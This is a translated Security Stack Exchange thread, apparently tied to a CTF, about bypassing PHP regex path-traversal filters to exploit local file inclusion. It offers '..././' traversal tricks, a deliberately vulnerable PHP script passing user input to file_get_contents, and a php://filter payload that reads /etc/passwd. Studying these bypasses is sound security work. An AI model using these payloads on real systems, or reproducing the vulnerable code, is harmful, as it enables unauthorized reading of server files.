$patterns[0] = '/[^[:print:]]+/'; // remove non-printable characters
$patterns[1] = '/[ \t]+$/'; // remove whitespace at end of string
$patterns[2] = '/^[ \t]+/'; // remove whitespace at beginning of string
$patterns[4] = '/^[\\\\|\/]+/'; // remove leading slash if one exists
$patterns[5] = '/^[\.\.\/|\.\.\\\\]+/'; // remove all ../ and all ..\ if any exist我将感谢任何帮助解释如何绕过这个过滤器,以便我可以成功地使用LFI。
发布于 2020-10-28 08:03:22
想一想东西被移除后还会留下什么。F.ex:如果您从下面的. . /中移除空格。顺序很重要,而且没有足够的代码来确定移除模式的顺序,但是您可以使用删除../来离开../,除非它是递归替换的。只需将../注入到.. (如..././或....// )中,您甚至可以使用dotdotpwn来尝试各种旁路。https://github.com/wireghoul/dotdotpwn
发布于 2020-10-28 08:15:22
$pattern1 = '/[^[:print:]]+/'; // remove non-printable characters
$pattern2 = '/[ \t]+$/'; // remove whitespace at end of string
$pattern3 = '/^[ \t]+/'; // remove whitespace at beginning of string
$pattern4 = '/^[\\\\|\/]+/'; // remove leading slash if one exists
$pattern5 = '/^[\.\.\/|\.\.\\\\]+/'; // remove all ../ and all ..\ if any exist
echo "Welcome";
$data = $_GET['file'];
if (!preg_match($pattern1, $data)){
if (!preg_match($pattern2, $data)){
if (!preg_match($pattern3, $data)){
if (!preg_match($pattern4, $data)){
if (!preg_match($pattern5, $data)){
echo file_get_contents($data);
}
}
}
}
}有效载荷:http://localhost:8080/php.php?file=php://filter/tmp/resource=/etc/passwd
解释:
php://filter包装器,因此绕过了第四个条件。您可以在筛选器和资源之间放置任何内容:/filter/JUNK/resource
注意:如果我做错了什么,请纠正我。您可能需要使用file:///etc/passwd,因为此有效负载是php特定的。

下面是我面临的类似挑战:LFI CTF
https://security.stackexchange.com/questions/240118
复制相似问题